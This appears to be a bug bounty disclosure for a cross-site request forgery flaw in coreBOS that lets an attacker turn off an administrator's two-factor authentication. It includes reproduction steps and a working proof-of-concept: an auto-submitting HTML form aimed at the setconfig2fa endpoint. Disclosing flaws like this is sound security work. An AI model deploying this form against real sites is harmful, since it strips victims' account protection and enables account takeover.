Attacker can turn off 2FA of the Admin

2022-09-0116:08:35

7h3h4ckv157

www.huntr.dev

csrf attack

admin 2fa

bug bounty

0.001 Low

EPSS

Percentile

27.0%

JSON

Description

The attacker can turn off the 2FA of the admin by performing the CSRF attack

Steps to reproduce

Step 1: Login as admin on the demo product and navigate to https://demo.corebos.com/index.php?module=Utilities&action=integration&_op=getconfig2fa&user_list=1

Step 2: Turn on the 2FA and close the tab

Step 3: Reopen the account 2fa section –> and verify it’s still on

Step 4: Close the Tab again

Step 5: Open w3schools –> HTML editor on new tab

Step 6: Copy this code and Run

&lt;html&gt; 
 &lt;body&gt; 
 &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt; 
   &lt;form action="https://demo.corebos.com/index.php"&gt; 
     &lt;meta name="referrer" content="no-referrer"&gt; 
     &lt;input type="hidden" name="module" value="Utilities" /&gt; 
     &lt;input type="hidden" name="action" value="integration" /&gt; 
     &lt;input type="hidden" name="&#95;op" value="setconfig2fa" /&gt; 
     &lt;input type="hidden" name="user&#95;list" value="1" /&gt; 
     &lt;input type="submit" value="Submit request" /&gt; 
   &lt;/form&gt; 
   &lt;script&gt; 
     document.forms[0].submit(); 
   &lt;/script&gt; 
 &lt;/body&gt; 
&lt;/html&gt;